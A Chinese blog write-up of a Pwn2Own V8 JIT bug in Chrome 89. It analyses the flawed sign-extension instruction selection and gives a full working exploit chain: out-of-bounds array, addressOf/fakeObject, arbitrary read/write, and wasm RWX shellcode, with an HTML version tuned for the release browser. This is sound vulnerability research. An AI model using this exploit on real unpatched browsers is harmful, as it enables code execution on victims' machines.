Loading... 这是一个在今年的 pwn2own 的比赛上披露的漏洞,可以通过 v8 引擎实现任意代码执行,前天看到腾讯玄武实验室推送了 [two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation](https://www.zerodayinitiative.com/blog/2021/12/6/two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation) 这篇文章,介绍了这个漏洞的成因。漏洞本身是 jit 引擎在选择机器指令时,对 x86 平台下有符号拓展和无符号拓展指令的选择有误造成的,总体来说比较好理解,感觉比较适合作为 v8 jit 利用入门。参考这篇文章和谷歌归档的 [exp](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472),我也完成了利用。这里记录一下。本人也只是刚刚开始摸索浏览器相关的利用,肯定有不对的地方,欢迎指出。 ### 信息搜集 * [fix commit](https://chromium.googlesource.com/v8/v8/+/02f84c745fc0cae5927a66dc4a3e81334e8f60a6) * [exp](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472) * [Chromium bug entry](https://bugs.chromium.org/p/chromium/issues/detail?id=1196683) 在 Chromium bug entry 中,可以看到受影响的 chrome 版本为 `89.0.4389.114`,通过这个[网站](https://omahaproxy.appspot.com/)提供的工具我们可以搜索出对应的 commit  #### 编译复现环境 那么我们首先先编译一个对应版本的 d8 出来 ```shell git checkout 09ecd88ef275f6c66605218a0ffb72123ea3b5e1 gclient sync -D ``` 事实上,基本上用不到源码级别的分析,所以可以编译 release 版本提高调试体验 ```shell tools/dev/v8gen.py x64.release ``` 为了在 release 版本中使用 job 命令,需要在生成的 `out.gn/x64.release/args.gn` 中追加 ```shell v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true ``` 然后 ```shell ninja -C out.gn/x64.release ``` 即可。 #### 分析漏洞 首先可以看一下 fix ```cpp diff --git a/src/compiler/backend/x64/instruction-selector-x64.cc b/src/compiler/backend/x64/instruction-selector-x64.cc index 39cd9b1..d17dd28 100644 --- a/src/compiler/backend/x64/instruction-selector-x64.cc +++ b/src/compiler/backend/x64/instruction-selector-x64.cc @@ -1376,7 +1376,9 @@ opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq; break; case MachineRepresentation::kWord32: - opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl; + // ChangeInt32ToInt64 must interpret its input as a _signed_ 32-bit + // integer, so here we must sign-extend the loaded value in any case. + opcode = kX64Movsxlq; break; default: UNREACHABLE(); ``` 从注释和该段代码所在的函数的函数名可以推测出这里是在选择从 int32 向 int64 时应该使用的机器指令。修复前是根据操作数本身是否为有符号数决定的。如果原来的操作数是 uint32,则使用无符号拓展(mov),如果是 int32 则使用有符号拓展(movsx)。两者在操作数小于 0x80000000(符号位不为 1,即作为 uint32 和 int32 都不是负数的情况)时没有任何区别;然而,如果对一个符号位为一的 int32,也就是一个负的 int32 执行无符号拓展,拓展的高 32 位全部都会置为 0,拓展后的 int64 就会变成正数,显然不对。也就是说 int32 拓展成 int64 时必须使用 movsx。 从操作名称可以看出,此操作接受的所有参数都应该是 int32,所以可以假设这里的 `load_rep.IsSigned()` 始终为 1,opcode 始终会是 kX64Movsxlq,也就是有符号拓展,所以这里这样选择也不会出错。 但是,这个假设是不成立的,我们可以通过一些方法实现传入 uint32。对于解释器来说传入的 uint32 应该被对待为 int32,也就是实现的效果应该是 ```cpp (int64)((int32) uint32_val) ``` 但是 turbofan 编译后实现的效果变成了 ``` (int64) ((uint64) uint32_val) ``` 解释器将转换出一个负数,优化后的代码将转换出正数。 ##### 触发 那么如何做到传入 uint32 呢,我们来看这样一个 poc ```javascript // poc.js var arr = new Uint32Array([0x80000000]); function trig() { return (arr[0] ^ 0) + 1; } %PrepareFunctionForOptimization(trig); console.log(trig()); %OptimizeFunctionOnNextCall(trig); console.log(trig()); ``` 添加 `--allow-natives-syntax` 参数,执行之后会有这样的结果  可以看到优化之后的执行结果和优化前的结果不同。 ##### 原理 那么为什么要构造 `(arr[0] ^ 0) + 1` 这么一个奇怪的表达式呢,我们可以先用 turbolizer 看一下,由于和类型相关,先看一下 typer  截取了其中的一部分,可以看到,`SpeculativeNumberBitwiseXor` 操作就是执行 `b[0] ^ 0` 了,其返回的类型为 signed32,传入的则是 0 和 unsigned32(TypedArray 指定了类型为 Uint32)。异或后的结果是直接“强制类型转换”成 signed32 的。好像挺奇怪,但是[标准](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_XOR)正是这样规定的。 然后,在 EarlyOptimization 之后,就会被优化成这样  可以看到,xor 操作直接没了,取而代之的是 LoadTypedElement,也就是 b[0],其类型为 Uint32,该参数会传递给 `ChangeInt32ToInt64`,**这样就实现了之前说到的向该函数传入 Uint32 类型的参数**。 为什么会有这样神奇的优化出现呢,我们可以看一下源码。在优化的 `EarlyOptimizationPhase`,会注册许多 reducer 对 sea-of-nodes 图进行修剪 ```cpp struct EarlyOptimizationPhase { DECL_PIPELINE_PHASE_CONSTANTS(EarlyOptimization) void Run(PipelineData* data, Zone* temp_zone) { GraphReducer graph_reducer(temp_zone, data->graph(), &data->info()->tick_counter(), data->broker(), data->jsgraph()->Dead()); DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(), data->common(), temp_zone); SimplifiedOperatorReducer simple_reducer(&graph_reducer, data->jsgraph(), data->broker()); RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone); ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone()); MachineOperatorReducer machine_reducer(&graph_reducer, data->jsgraph()); CommonOperatorReducer common_reducer(&graph_reducer, data->graph(), data->broker(), data->common(), data->machine(), temp_zone); AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &redundancy_elimination); AddReducer(data, &graph_reducer, &machine_reducer); AddReducer(data, &graph_reducer, &common_reducer); AddReducer(data, &graph_reducer, &value_numbering); graph_reducer.ReduceGraph(); } }; ``` 这里的 `machine_reducer`(类型为 `MachineOperatorReducer`)会对一些 nodes 的操作进行修剪,其中就包括异或这个操作。相关的代码为 ```cpp template <typename WordNAdapter> Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) { using A = WordNAdapter; A a(this); typename A::IntNBinopMatcher m(node); if (m.right().Is(0)) return Replace(m.left().node()); // x ^ 0 => x if (m.IsFoldable()) { // K ^ K => K (K stands for arbitrary constants) return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue()); } if (m.LeftEqualsRight()) return ReplaceInt32(0); // x ^ x => 0 if (A::IsWordNXor(m.left()) && m.right().Is(-1)) { typename A::IntNBinopMatcher mleft(m.left().node()); if (mleft.right().Is(-1)) { // (x ^ -1) ^ -1 => x return Replace(mleft.left().node()); } } return a.TryMatchWordNRor(node); } Reduction MachineOperatorReducer::ReduceWord32Xor(Node* node) { DCHECK_EQ(IrOpcode::kWord32Xor, node->opcode()); return ReduceWordNXor<Word32Adapter>(node); } Reduction MachineOperatorReducer::ReduceWord64Xor(Node* node) { DCHECK_EQ(IrOpcode::kWord64Xor, node->opcode()); return ReduceWordNXor<Word64Adapter>(node); } ``` 这里的代码还挺好理解的,不管是 64 位 int 还是 32 位 int,都通过 `ReduceWordNXor` 函数来优化,针对三种情况进行了优化,我们这里主要关注 `x ^ 0 => x` 这个 case。由于任何数异或零都会得到自身,所以可以去除这个异或操作,直接用 x 替换。原先的异或操作的返回类型为 int32,但是这里替换之后的类型就变成了 uint32 了,传入 `ChangeInt32ToInt64` 时就出现问题了。 由于 `ChangeInt32ToInt64` 后,对 `(b[0] ^ 0)` 进行了无符号拓展,所以优化后的代码就会返回一个正数了。 同时我们可以看到,`ReduceWordNOr` `ReduceWord32Sar` 中也有类似的处理,所以也可以类似地触发。 ### 利用 利用就是构造出 oob 数组,然后构造 addressOf 和 fakeObject 原语,向 wasm 模块中的 rwx 内存段写 shellcode 执行这样一个常见套路了,后面的套路纵使我这样的浏览器小白也不觉得有什么难,主要还是难在构造 oob 数组。 #### oob 我也不懂,参照现成的 exp,抄了个 poc ```cpp // oob.js var b = new Uint32Array([0x80000000]); var glob = {}; function make_oob(doit) { let bad = (b[0] ^ 0) + 1; let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1 glob[i] = 1; if (!doit) { // make sure this function can work fine after opted i = -1; } let size = Math.sign(i); // expect: size = 0 or -1, actual: 1 size = Math.sign(i) < 0 ? 0 : size; let oob = new Array(size); oob.shift(); return oob; } %PrepareFunctionForOptimization(make_oob); make_oob(0); %OptimizeFunctionOnNextCall(make_oob); let oob_arr = make_oob(1); %DebugPrint(oob_arr); ``` 放到 turbolizer 里面看一下,先看一下 EarlyTrimming 生成的图,先关注 JSCreateArray  注意这里的 Phi[kRepTagged],他存储了 size 这个变量的值,之后还会看到。 然后到 SimplifiedLowering 的时候,操作已经被优化成这样了  可见这里是直接用常数来申请数组的空间的。 然后我们再把关注点放在 ArrayShift 上,和他相关的点非常多,但是只要关注控制节点就行了  隐藏掉一些无关节点,这里的流程就是这样,注意这里的 `Phi[kRepWord32]`,之前提到他存了 size 的值,这里解释器分析出该变量的取值为 Range(-1, 0)(我们知道实际上是会变成 1 的),然后判断是否能够执行 Shift 操作,只要 size 大于 1 就会执行了。 总结一下,解释器认为,size 的值一定会是 0 或 -1,所以给 Array 申请的空间大小是固定的。但是后面又根据 size 的值判断了能不能 shift,还是由于解释器认为 size 一定会是 0 或 -1,所以这个操作是安全的。但是实际上我们可以做到让 size 变成 1,此时就会对一个 size 为 0 的 array 执行 shift,size - 1 后变为一个大正数就可以实现 oob 了。 // todo: 关于 i 的 side-effct #### 之后的利用 oob 之后就是一般的套路,只是要注意一下这个版本编译出来的 d8 是开启了指针压缩的(也就是只保存地址的低 32 位),调试算偏移的时候注意一下就行了 ```javascript // gadgets var buffer = new ArrayBuffer(8); var float64_arr = new Float64Array(buffer); var uint64_arr = new BigUint64Array(buffer); var i2f = (uint64) => { uint64_arr[0] = uint64; return float64_arr[0]; } var f2i = (float64) => { float64_arr[0] = float64; return uint64_arr[0]; } var b = new Uint32Array([0x80000000]); var glob = {}; function make_oob(doit) { let bad = (b[0] ^ 0) + 1; let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1 glob[i] = 1; if (!doit) { // make sure this function can work fine after opted i = -1; } let size = i; // expect: size = 0 or -1 size = i < 0 ? 0 : size; // expect size = 0 let oob = new Array(size); oob.shift(); return oob; } for (i = 0; i < 200000; i++) { make_oob(false); } oob_arr = make_oob(1); var float_arr = [1.1, 1.2, 1.3, 1.4]; var float_arr2 = [2.1, 2.2, 2.3, 2.4]; var int_arr = [1, 2, 3, 4]; var object_arr = [{}, {}, {}, {}]; var leak_object_arr = [2.1, 2.2, 2.3, 2.4]; oob_arr[0x1A] = 0x1000; oob_arr[0x50] = 0x1000; console.log(float_arr.length) console.log(object_arr.length); var float_map = f2i(float_arr[9]) & 0xFFFFFFFFn; console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16)); var object_map = f2i(float_arr[23]) & 0xFFFFFFFFn; console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16)); //%DebugPrint(float_arr); var addressOf = (obj) => { object_arr[0x1D * 2] = obj; return f2i(leak_object_arr[0]); } var fakeObject = (addr) => { float_arr[0x1B] = i2f(addr); return object_arr[0]; } var rw_tool = [ // map i2f(float_map), i2f(0x00000008BEEFDEADn), 1.1, 1.2 ]; var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn; var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n); console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16)); var read64 = (address) => { rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n); return f2i(arbitary_rw_tool[0]); } var write64 = (address, val) => { rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n); arbitary_rw_tool[0] = i2f(val); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; addr_f = addressOf(f) & 0xFFFFFFFFn; console.log(f()); console.log("[+] f_addr: 0x" + addr_f.toString(16)); var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n; console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16)); var data_addr = (read64(shared_info_addr -1n) & 0xFFFFFFFF00000000n) >> 32n; console.log("[+] data_addr: 0x" + data_addr.toString(16)); var instance_addr = read64(data_addr -1n + 0x8n) & 0xFFFFFFFFn; console.log("[+] instance_addr: 0x" + instance_addr.toString(16)); var rwx_addr = read64(instance_addr - 1n + 0x68n); console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16)); var sc_arr = [ 0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n, ]; var dvbuff = new ArrayBuffer(sc_arr.length * 8); var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn; console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16)); write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr); var dv = new DataView(dvbuff); for (let i = 0; i < sc_arr.length; i++) { dv.setFloat64(i * 8, i2f(sc_arr[i]), true); } f(); ``` 通过 d8 运行之后就可以弹出计算器了。 #### chrome 的调试 到这就结束了?怎么可能!既然是真实的漏洞,那必然得 pwn 掉对应版本的 release 浏览器啦。遗憾的是上面的 exp 不能直接打通,需要微调偏移,这就需要对 chrome 进行调试,请教了一下 **@小语** 老师,得知是可以直接 gdb attach 上去调的。同时 `%DebugPrint` 方法也可以使用,只是只会打出对象地址,但是这对我们修改偏移也足够了。 首先,chrome 可以使用 `--js-flags` 参数来指定 js 的参数,通过该参数我们可以设定 `--allow-natives-syntax` 来支持 `%DebugPrint` 等方法。然后指定了 `--user-data-dir` 后就会再终端输出相关的信息了。举个例子,我们可以这样启动 chrome ```shell ./chrome --js-flags="--allow-natives-syntax" --no-sandbox --user-data-dir="/tmp/chrome" ``` 如果我想算 oob_arr 和 float_arr 的偏移,那么就可以在 exp 中加入 ```javascript ... %DebugPrint(float_arr); %DebugPrint(oob_arr); %SystemBreak(); ... ``` 然后把该 html 拖到浏览器里面,这个时候会报 SIGTRAP 的错误  所以我们需要用一个调试器 attach 上去。 浏览器就那么放着,开终端执行 `ps afx`,找到 chrome 的 `--type=renderer` 的进程  即图片中黄框内的进程,然后 attach 到他的父进程即可(图中红框内),这里父进程的 pid 为 313030,所以使用 `sudo gdb -p 313030` 进行 attach。attach 上后用 `c` 继续执行即可,然后刷新页面即可断下  转到启动 chrome 的终端里面,也可以看到 DebugPrint 出来的地址信息  针对 `google-chrome-stable_deb_rpm_89.0.4389.114` 中的浏览器我改了下偏移,最后的 html 为 ```html <script> // gadgets var buffer = new ArrayBuffer(8); var float64_arr = new Float64Array(buffer); var uint64_arr = new BigUint64Array(buffer); var i2f = (uint64) => { uint64_arr[0] = uint64; return float64_arr[0]; } var f2i = (float64) => { float64_arr[0] = float64; return uint64_arr[0]; } var b = new Uint32Array([0x80000000]); var glob = {}; function make_oob(doit) { let bad = (b[0] ^ 0) + 1; let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1 glob[i] = 1; if (!doit) { // make sure this function can work fine after opted i = -1; } let size = i; // expect: size = 0 or -1 size = i < 0 ? 0 : size; // expect size = 0 let oob = new Array(size); oob.shift(); return oob; } for (i = 0; i < 200000; i++) { make_oob(false); } oob_arr = make_oob(1); var float_arr = [i2f(0x1337DEADBEEFn), 1.2, 1.3, 1.4]; var float_arr2 = [2.1, 2.2, 2.3, 2.4]; var int_arr = [1, 2, 3, 4]; var object_arr = [{}, {}, {}, {}]; var leak_object_arr = [2.1, 2.2, 2.3, 2.4]; oob_arr[40] = 0x1000; console.log(float_arr.length) oob_arr[98] = 0x1000; console.log(object_arr.length); var float_map = f2i(float_arr[11]) & 0xFFFFFFFFn; console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16)); var object_map = f2i(float_arr[25]) & 0xFFFFFFFFn; console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16)); var addressOf = (obj) => { object_arr[0x1D * 2] = obj; return f2i(leak_object_arr[0]); } var fakeObject = (addr) => { float_arr[29] = i2f(addr); return object_arr[0]; } var rw_tool = [ // map i2f(float_map), i2f(0x00000008BEEFDEADn), 1.1, 1.2 ]; var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn; console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16)); var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n); var read64 = (address) => { rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n); return f2i(arbitary_rw_tool[0]); } var write64 = (address, val) => { rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n); arbitary_rw_tool[0] = i2f(val); } var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; addr_f = addressOf(f) & 0xFFFFFFFFn; console.log(f()); console.log("[+] f_addr: 0x" + addr_f.toString(16)); var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n; console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16)); var data_addr = (read64(shared_info_addr - 1n) & 0xFFFFFFFF00000000n) >> 32n; console.log("[+] data_addr: 0x" + data_addr.toString(16)); var instance_addr = read64(data_addr - 1n + 0x8n) & 0xFFFFFFFFn; console.log("[+] instance_addr: 0x" + instance_addr.toString(16)); var rwx_addr = read64(instance_addr - 1n + 0x68n); console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16)); var sc_arr = [ 0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n, ]; var dvbuff = new ArrayBuffer(sc_arr.length * 8); var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn; console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16)); write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr); var dv = new DataView(dvbuff); for (let i = 0; i < sc_arr.length; i++) { dv.setFloat64(i * 8, i2f(sc_arr[i]), true); } f(); </script> ``` 用 --no-sandbox 参数启动 chrome,拖入 html,即可弹出计算器  ### attachment [chrome_linux64_stable_89.0.4389.114](https://www.chromedownloads.net/chrome64linux-stable/1158.html) ### reference > [TWO BIRDS WITH ONE STONE: AN INTRODUCTION TO V8 AND JIT EXPLOITATION](https://www.zerodayinitiative.com/blog/2021/12/6/two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation) > > [V8 TurboFan 生成图简析](https://www.anquanke.com/post/id/240011) 最后修改:2022 年 02 月 07 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 7 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧